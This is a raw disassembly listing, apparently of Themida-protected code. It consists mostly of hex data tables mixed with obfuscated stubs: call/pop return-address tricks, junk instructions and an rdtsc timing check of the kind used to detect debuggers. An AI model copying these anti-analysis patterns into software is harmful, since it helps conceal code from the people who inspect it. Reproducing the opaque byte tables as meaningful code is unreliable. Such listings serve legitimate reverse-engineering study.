		dd 1804h, 0C3574700h, 39A5B141h, 49BD81D3h, 0D0060E2Eh
		dd 0F000007h, 4085h, 49BD3300h,	0FF060E25h, 0E2E4985h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0C870F37h, 0F000000h, 681h, 0F9858900h
		dd 8B060E2Eh, 0E1A7DB5h, 49B5FF06h, 6A060E2Eh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 517CC357h, 32E5BD8Bh, 0FF5E060Eh, 0E0F4595h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0B5899850h, 60E03C9h, 871B50Bh, 0B890060Eh, 12345678h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 19C35141h
		dd 895650CDh, 0E0991BDh, 9D015E06h, 60E0FF5h, 0BF5B9D8Dh
		dd 0E6E90611h, 6AFFFFF7h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 4AA0C351h, 0B0BCEE26h
		dd 820F6042h, 4, 0C78B66F5h, 23F1BD09h,	0E961060Eh, 0Fh
		dd 86DEDAA0h, 0A8CCFFDCh, 0FB333A91h, 8B7C64CCh, 57006AC1h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 18313D48h, 8E82024h,	0C000000h, 0CABA60CBh, 5F7B3BE6h
		dd 627952BEh, 4EB14h, 8B000000h, 0E02E5BDh, 0FABF0F06h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 39C35141h
		dd 8D70A865h, 0E19C185h, 0CE806h, 0C0CC0000h, 51780708h
		dd 70D90241h, 8E0FBA7Eh, 5, 0E3DE8166h,	89505E73h, 6A2404h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 71E170C3h, 3344F57Ch, 8E8h, 0DA273F00h, 4FEDCAABh, 6A5FFCCBh
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 0AE46B9BFh, 0C3169385h, 68E0Fh, 9D890000h
		dd 60E1CE1h, 6AF1B70Fh,	29BD8B00h, 8D060E0Eh, 11C20285h
		dd 85858906h, 83060E20h, 519005C0h, 19FB5BFh, 0E8505F2Eh
		dd 0Bh,	552E9756h, 3BD21261h, 5743B1B7h, 6A905E5Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 154CC351h, 9139036Eh, 0FC250B9h, 6AFEB7h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0CEC35545h, 430F7D37h
		dd 0D286BF66h, 33A9BD8Bh, 6A060Eh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 0C4C35747h,	0DA48FCF5h, 0E6126DF6h
		dd 0CF816673h, 95FF65AEh, 60E2FE1h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0B7C35545h,	2B15B3C6h, 0C6813E09h
		dd 26DF463Ah, 924B9D8Dh, 0BE90611h, 0B9000000h,	0FBA6C3FFh
		dd 0AF920F1h, 0D3FFCB3Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 65C35343h, 0CD10BB2Eh, 98AA4E1h, 59B58BBFh
		dd 66060E09h, 0FFD376BEh, 0E147585h, 128BBE06h,	2DE949C7h
		dd 0E800000Fh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 611C20Ch
		cmp	dword ptr [ebp+60E2E49h], 7D0h
		jbe	loc_58597E
		push	0
		push	edx
		call	sub_58582A
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58582A	proc near		; CODE XREF: Themida_:00585822p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_58582A	endp

; ---------------------------------------------------------------------------
		dw 568Fh
		dd 5CFC498Eh, 2B37BC43h, 659D8Bh, 6A060Eh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 0C5C9F6C3h
		dd 0BF66201Dh, 0E3817EB8h, 100h, 0ABCBBF66h, 850FDB0Bh
		dd 0D1h, 0C017BD83h, 0F000611h,	6A84h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 60F72AFFh, 104F680h,	0E09A585h, 0B4E96106h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 0ADDBC355h, 0F73CC4BEh, 0E205EEE1h, 12E9h
		dd 0DD7FCA00h, 45A8C02Ch, 0BE553DC4h, 15DAB13Ch, 0C770AC4Ch
		dd 11C01785h, 106h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 2BF8DFFCh, 0E9B794E2h
		dd 47h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h
		dd 0EEC35646h, 95842E24h, 1F7BF0Fh, 0E158585h, 1785C706h
		dd 611C0h, 0F000000h, 88Ah, 28D0F00h, 51000000h, 51BD8B5Eh
		dd 8D060E30h, 0E00659Dh, 0FF238106h, 66FFFFFEh
; ---------------------------------------------------------------------------
		mov	esi, ecx


loc_58597E:				; CODE XREF: Themida_:00585819j
		mov	bx, ds
		test	bl, 4
		jz	loc_585A2F
		push	0
		push	ebx
		call	sub_585995
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_585995	proc near		; CODE XREF: Themida_:0058598Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_585995	endp

; ---------------------------------------------------------------------------
		sahf
		push	esi
		call	dword ptr [ebp+60E1689h]
		push	0
		push	edx
		call	sub_5859B8
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5859B8	proc near		; CODE XREF: Themida_:005859B0p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5859B8	endp

; ---------------------------------------------------------------------------
		scasb
		dec	esi
		cmp	bh, dl
		push	esp
		xchg	eax, esp
		xor	[ecx+60h], edx
		mov	[ebp+60E24ADh],	edi
		jmp	loc_5859E4
; ---------------------------------------------------------------------------
		dd 0B6EED83h, 0F47F6B9Ch
; ---------------------------------------------------------------------------


loc_5859E4:				; CODE XREF: Themida_:005859D7j
		popa
		call	near ptr loc_5859EB+5
		cmpsb


loc_5859EB:				; CODE XREF: Themida_:005859E5p
		mov	[ebp+66C99A5Ah], edi
		mov	edi, ecx
		pop	esi
		nop
		push	eax
		push	eax
		push	edi
		pop	edi
		pop	esi
		pop	esi
		push	eax
		pusha
		push	edi
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax
		pop	edx
		mov	cx, 0B0ADh
		popa
		nop
		push	0
		push	eax
		call	sub_585A16
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_585A16	proc near		; CODE XREF: Themida_:00585A0Ep

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_585A16	endp

; ---------------------------------------------------------------------------
		mov	ds:0B58B2F2Bh, eax
		jge	short loc_585A2F
		push	cs
		push	es


loc_585A2F:				; CODE XREF: Themida_:00585984j
					; Themida_:00585A2Bj
		jmp	loc_585ED0
; ---------------------------------------------------------------------------
		dd 1EF5BD8Bh, 0B0060Eh,	8E860h,	57BC0000h, 4003671Fh, 0EE805B17h
		dd 0F2805EE4h, 70E66111h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 31C35747h, 31825E1Ch,	0E224D95h, 6A71E406h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 0C1F0C352h, 1800F7Ch, 0F8000000h,	8BD8B60Fh
		dd 6BAF9h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 7D573AC3h, 1CDCDDEFh, 0E8B05C1Bh
		dd 0Ch,	4D3C1A6Ch, 0DA940724h, 2F099A1Ah, 1B459D29h, 8B5E060Eh
		dd 0C1F98BC3h, 6A04E8h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 476B64C3h, 0E84BE1CAh, 0Ch, 0B4296227h
		dd 0B952A6F8h, 5D62D3h,	21A9BD8Bh, 665F060Eh, 6AE2F7h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0B5BB09C3h, 14E94FC1h, 0B000000h, 0F48E5BEFh, 49FA819Eh
		dd 2BF933A0h, 563520DDh, 66D6A6F4h, 2BCE0FBEh, 57006AD8h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 891EC2B1h, 0E1A8985h, 68A0F06h, 2B000000h, 0E1669BDh
		dd 10E89306h, 97000000h, 0F0D7E96Dh, 716508FEh,	182EB038h
		dd 60F94D7Bh, 1682BA66h, 5F61FB8Bh, 8B606050h, 61F08BF0h
		dd 9361D0B4h, 345DB58Bh, 0B5FF060Eh, 60E2E49h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0CBC35747h, 9E9h
		dd 0D9BE6800h, 0E18E3E84h, 8509DC27h, 60E07BDh,	0F4595FFh
		dd 8589060Eh, 60E1705h,	6A00B0h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0F38BBDC3h, 5FBE70E6h
		dd 0E4021456h, 0D4BE6671h, 0B9B589F7h, 3C060E15h, 89830F61h
		dd 89000002h, 0E0C51B5h, 0D8B60F06h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 4EC35646h, 0BD9D8951h, 0BA060E2Ah
		dd 6, 0FA1B501h, 0C38B060Eh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0DDC35343h,	0BDBD8BFCh, 0C1060E21h
		dd 6A04E8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 6D344DC3h, 0F7668B58h, 4ABE66E2h,	6AD82B23h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 57ACC355h, 2921BD8Bh, 0F5E060Eh, 6A58F2BFh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 1733C355h, 0BD2B51D4h, 60E18F5h, 0FD82B5Fh
		dd 1AB88h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 0B238530Eh, 19DCC8C5h, 0E59589B7h
		dd 66060E1Ch, 5ADFC781h, 7B9h, 55006A00h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 907E265Ah
		dd 9589E979h, 60E2EB1h,	6A00C183h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0CA13C355h
		dd 860FD93Bh, 128h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0B9C35545h, 166131C4h, 9D75EE11h, 89B58B21h
		dd 0E8060E33h, 0Fh, 0C63317E8h,	0E8B32B27h, 0FDEB536h
		dd 539F6C9Ah, 10E9h, 87DA5B00h,	0BA1AFAE8h, 0E837D3DCh
		dd 0DFE28CCAh, 895E5F4Eh, 0E0BDDB5h, 0D98C6606h, 6E9h
		dd 36542C00h, 0F6E42779h, 840F04C1h, 77h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 16h, 0D6C35545h, 8D8963E8h
		dd 60E0DA5h, 4658D29h, 95FF060Eh, 60E1689h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0D4C35646h, 0C60F3AC5h
		dd 0BD6084DBh, 0BD0B5B6Bh, 60E13F9h, 343DC32Bh,	0F000008h
		dd 0E86h, 0FBBF0F00h, 43E9h, 119D8900h,	8B060E0Ah, 53006AC0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0E159774Bh, 29B9CDF8h, 0E03719Dh, 0DE806h, 0D8A00000h
		dd 4C705737h, 51AD5439h, 5E09F23Ch
; ---------------------------------------------------------------------------


loc_585ED0:				; CODE XREF: Themida_:loc_585A2Fj
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	edx
		call	sub_585EDF
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_585EDF	proc near		; CODE XREF: Themida_:00585ED7p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_585EDF	endp

; ---------------------------------------------------------------------------
		pop	edx
		and	[eax-4E4A744Ah], cl
		or	[esi], cl
		push	es
		mov	dword ptr [ebp+60E1CF1h], 3AD6BDFFh
		push	0
		push	ebx
		call	sub_585F0E
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_585F0E	proc near		; CODE XREF: Themida_:00585F06p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_585F0E	endp

; ---------------------------------------------------------------------------
		inc	edx
		lahf
		mov	[ecx+0E1E29B5h], ecx
		push	es
		mov	edi, [ebp+60E0BD5h]
		mov	eax, eax
		push	0
		push	ebp
		call	sub_585F3A
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_585F3A	proc near		; CODE XREF: Themida_:00585F32p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_585F3A	endp

; ---------------------------------------------------------------------------
		xchg	eax, esi
		and	eax, 0C1968396h
		sub	bl, [ecx-62h]
		lodsb
		and	esi, 60B1042Bh
		cmp	dword ptr [ebp+60E2E49h], 7D0h
		jnz	loc_585FB9
		push	0
		push	edx
		call	sub_585F75
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_585F75	proc near		; CODE XREF: Themida_:00585F6Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_585F75	endp

; ---------------------------------------------------------------------------
		db 0E2h, 2Ah, 7Ch
		dd 0EE816644h, 0F6005DDh, 1182h, 0CE900h, 75580000h, 155EB967h
		dd 8EF50E28h, 0BD89666Eh, 60E1A89h, 4985FF61h, 89060E2Eh
		dd 0E047DBDh
; ---------------------------------------------------------------------------
		push	es


loc_585FB9:				; CODE XREF: Themida_:00585F64j
		push	dword ptr [ebp+60E2E49h]
		mov	[ebp+60E0845h],	edx
		call	dword ptr [ebp+60E0F45h]
		push	0
		push	esi
		call	sub_585FD6
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_585FD6	proc near		; CODE XREF: Themida_:00585FCEp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_585FD6	endp

; ---------------------------------------------------------------------------
		dw 0DA72h
		dd 56409008h, 30EDB58Bh, 665F060Eh, 71ACC681h, 0E3DBD83h
		dd 0F00060Eh, 0DE84h, 51B58B00h, 83060E0Ch, 0E3465BDh
		dd 840F0006h, 0CBh, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 51C35545h, 820F0C27h,	2, 95FFFE8Bh, 60E0E3Dh
		dd 66ABB660h, 0B61F88Bh, 90840FC0h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 9E50C357h, 2644D205h, 2021B58Bh, 6660060Eh, 6B54F381h
		dd 19BD8589h, 8D61060Eh, 0E4DD18Dh, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0F5AF94DAh
		dd 5B875h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 0F970AC3h, 68Ah,	0E18D8900h, 0FF060E01h
		dd 0B98D09E1h, 83060E33h, 0E0DA1BDh, 840F0006h,	62Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0AAC35040h, 99D8996h
		dd 83060E0Ah, 0E3465BDh, 840F0006h, 5FDh, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Bh, 8DC35343h, 51D9A591h
		dd 8BCA01B0h, 998D8DF3h, 81060E34h, 0D33D9BD7h,	8401C738h
		dd 6A44B27Ch, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 580EC352h, 0CD379E72h,	0AE9C2AEh
		dd 5F000000h, 660DF9FDh, 36C0BAB6h, 7DBD8B5Dh, 81060E27h
		dd 99CFCB01h, 21BD3314h, 89060E18h, 0E1DB585h, 441C706h
		dd 0CE706B34h, 51F2B70Fh, 0F966E1BEh, 41815F57h, 0D6D71004h
		dd 51006A31h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 9670A1C8h, 6AF520h, 3499858Dh, 6A060Eh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 1CAF05C3h, 8166537Ch, 5FE421D6h, 14E85090h, 0A3000000h
		dd 51DC005Ah, 4F1B4D5Dh, 0D8D3F29h, 52821A32h, 0E9DDB05Dh
		dd 7, 83E7481Fh, 5EC8D7B1h, 56006A90h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 6E99D39Eh
		dd 0CEC7917Fh, 5E900h, 0DC620000h, 31481EBBh, 0E2DE595h
		dd 0A195FF06h, 6A060E0Dh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0F45BC350h,	26561795h
		dd 0A6E8C681h, 8D8D28CDh, 60E3499h, 0C7F88B66h,	1, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 0B6107EA6h, 0CB5538BCh, 0A9BD2B4Bh, 0F060E1Fh, 0C86h
		dd 6890F00h, 8B000000h,	0E2005BDh, 441C706h, 0
; ---------------------------------------------------------------------------
		movsx	edi, dx
		or	eax, eax
		jz	loc_58635E
		push	0
		push	esi
		call	sub_5862FA
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5862FA	proc near		; CODE XREF: Themida_:005862F2p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5862FA	endp

; ---------------------------------------------------------------------------
		dw 1444h
		dd 8A0F5797h, 6, 24FDBD33h, 8D5F060Eh, 0E4DD18Dh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 8C7FF3C9h, 0BE828E01h, 0C8076D9h, 5B8h, 0B5BD8B00h
		dd 0FF060E09h, 0B56F9E1h, 0E15B9B5h
; ---------------------------------------------------------------------------
		push	es
		pop	edi


loc_58635E:				; CODE XREF: Themida_:005862E9j
		lea	ecx, [ebp+60E3499h]
		push	0
		push	ecx
		call	sub_58636F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58636F	proc near		; CODE XREF: Themida_:00586367p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_58636F	endp

; ---------------------------------------------------------------------------
		db 9Bh
		dd 8A0FED10h, 6, 9C71E781h, 1C72372h, 44AA727Ch, 850Fh
		dd 1810000h, 1499CFCBh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 59C35545h, 514DE381h,	95C781DCh, 0F497336h
		dd 283h, 0C7F38B00h, 753C0441h,	8B66CE78h, 44181F1h, 31D6D710h
		dd 6660006Ah, 0F7321BBh, 289h, 61616000h, 3499858Dh, 6A060Eh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 156801C3h, 66907E12h, 50E291BEh, 13E9h, 0FE024400h
		dd 860C002Ah, 2ABD262h,	5B0D8C2Bh, 3D79FC14h, 14E890h
		dd 0E9F40000h, 15A9D228h, 0D397A1D9h, 0CC37C740h, 32D8B560h
		dd 0FB8B87F7h, 0A195FF5Fh, 6A060E0Dh, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0A9AFC352h
		dd 0F5B9DCE8h, 29D8FBDFh, 0E1D0595h, 998D8D06h,	6A060E34h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0EBC5C353h, 0DBABF1D4h, 7191A1CBh, 1C7h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 21F919C3h, 8A5031E5h, 441C7h, 66000000h
		dd 0D21FE681h, 1E41BD8Bh, 0C00B060Eh, 71840Fh, 9E90000h
		dd 0EA000000h, 2C520B74h, 10ACEC2Fh, 4DD18D8Dh,	0BF66060Eh
		dd 5B80298h, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 8FAAC350h, 2789E0E7h
		dd 0F6B70F34h, 6AE1FFh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0ECC34DC3h, 0F1BA4E0h, 8B66F2B7h
		dd 0F9B58BF9h, 8D060E2Eh, 0E34998Dh, 6DB58B06h,	8B060E2Ah
		dd 0A501C7F8h, 6A54CA95h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 60DFC352h, 0CE8h, 18CA6C00h
		dd 960C7097h, 0FD1E1624h, 2DB58B62h, 58060E17h,	0CB018161h
		dd 0E91499CFh, 7, 84289BD2h, 0C799A25Fh, 59690441h, 8529CE5Fh
		dd 60E0E31h, 10044181h,	6A31D6D7h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0A346C350h
		dd 31541493h, 0E0981BDh, 9E806h, 0B70000h, 0B785CA53h
		dd 8BD56DCBh, 0E0A5DB5h, 6A5E06h, 7756E681h, 0F6069F6h
		dd 9D89F8B7h, 60E2005h,	99858D61h, 6A060E34h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 1894C350h, 1F56D31h,	0E0E39BDh, 0BF665006h, 48902F2h
		dd 50006A24h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0C068266Ch, 1CE59D89h, 95FF060Eh, 60E0DA1h
		dd 91756ABEh, 41B58B37h, 8D060E0Ah, 0E34998Dh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 60A11B6Fh, 0DD960DB9h, 0FD8D8943h, 61060E21h, 1C7h
		dd 0F78B0000h, 441C7h, 0B000000h, 4E840FC0h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0DCFEC352h, 89853077h, 0E23CDBDh,	0E8F9BE06h
		dd 8D8D3C8Fh, 60E4DD1h,	0DB52E781h, 5B85D05h, 0FF000000h
		dd 9E951E1h, 27000000h,	0C5758679h, 385D4AF1h, 0E9CA035Eh
		dd 0FFFFF0DFh, 22019501h, 0B58B060Eh, 60E3461h,	6AC18Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 18E944C3h, 180E156Ch, 0AD25BF5Bh, 4EB26A2h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_58676B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58676B	proc near		; CODE XREF: Themida_:00586763p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_58676B	endp

; ---------------------------------------------------------------------------
		db 0EFh
; ---------------------------------------------------------------------------
		push	ebx
		lea	eax, [ebp+60E19C1h]
		push	0
		push	ebx
		call	sub_58678E
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58678E	proc near		; CODE XREF: Themida_:00586786p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_58678E	endp

; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 5Dh
		dd 9FBE66F8h, 50509020h, 0ABB86052h, 0B87CDCAAh, 5A228F58h
		dd 5A310F61h, 6A9058h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0EE7E3CC3h, 4FE41B04h, 0F3A7D58h
		dd 586h, 0E7816600h, 6AC230h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 0EDC35141h,	8998A0E8h, 0E1685B5h
		dd 0F006A06h, 682h, 0ED958900h,	8D060E30h, 11D31485h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0C083AB64h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 986CEDA9h, 0E86050CBh
		dd 0Eh,	0F1ED4C04h, 7C2BD2E2h, 48105077h, 0CF8BEEEEh, 98B2605Ah
		dd 6161FE8Ah, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0B9F4C352h,	2909BD03h
		dd 6A060Eh, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 1Ch,	47C35646h, 235D97DBh, 0B61EC182h, 6AF0B70Fh, 8E900h
		dd 1F50000h, 0E8DBEA55h, 95FFB50Eh, 60E2FE1h, 31B99D89h
		dd 9D8D060Eh, 611924Bh,	2435B58Bh, 0D3FF060Eh, 0EEF7F681h
		dd 85FF10D8h, 60E1475h,	99B58B51h, 5E060E04h, 8C6E9h, 0E800h
		dd 815D0000h, 11D31EEDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 58949DA6h, 6E9h, 0DAD63200h
		dd 81360034h, 0E2E49BDh, 7D006h, 45860F00h, 6A000001h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0B6A8C351h, 0B503DD84h, 60E21A9h,	1C9D9D8Bh
		dd 0BE66060Eh, 0E381D5FEh, 100h, 5830Fh, 81660000h, 0B59CBCFh
		dd 99850FDBh, 66000000h, 0A1F1F681h, 0D160BD83h, 0F000611h
		dd 3284h, 1381BF00h, 0A4E94151h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 6192C356h
		dd 0A5DC9431h, 0DE245E66h, 0C7FEBF0Fh, 11D16085h, 106h
		dd 8E800h, 0C37D0000h, 0BD80585Ch, 0BD89F3CBh, 60E1BA1h
		dd 4870F5Fh, 66000000h,	0E9EB6BBFh, 4Fh, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ah, 0E9C35545h, 76F1193Eh
		dd 8D891D84h, 60E3189h,	0D16085C7h, 611h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 8D4381C3h, 0E1C9D9Dh, 0FE806h, 8DD10000h, 14DD77FFh
		dd 6A40004Eh, 3BE73049h, 23815F4Ah, 0FFFFFEFFh,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 9AC35545h, 89DB8C66h
		dd 0E1BE1BDh, 0F8DE8106h, 0F660533Bh, 840F04C3h, 0AFh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 40C35646h
		dd 0D3BBBFC9h, 0DE9E4h,	2E0C0000h, 64E8813Ch, 0EB6A2A88h
		dd 66B13023h, 95FFF28Bh, 60E1689h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 91C35040h, 0BD89D038h, 60E0D91h
		dd 2D65B58Bh, 6690060Eh, 5050F38Bh, 0FFE8B52h, 87BE6631h
		dd 90585AA0h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 16h,	0EAC35343h, 0EE9B57Ah, 39000000h, 8991E91Fh, 77A38A66h
		dd 856DBB21h, 29B58BD0h, 0E9060E00h, 479h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0D7C35747h, 0FD411276h
		dd 6000B0FBh, 475D55BBh, 9D895643h, 60E23CDh, 70E6615Fh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0DBC35343h
		dd 15103329h, 47DBD7CAh, 12E87Ah, 0DD7E0000h, 0C5293515h
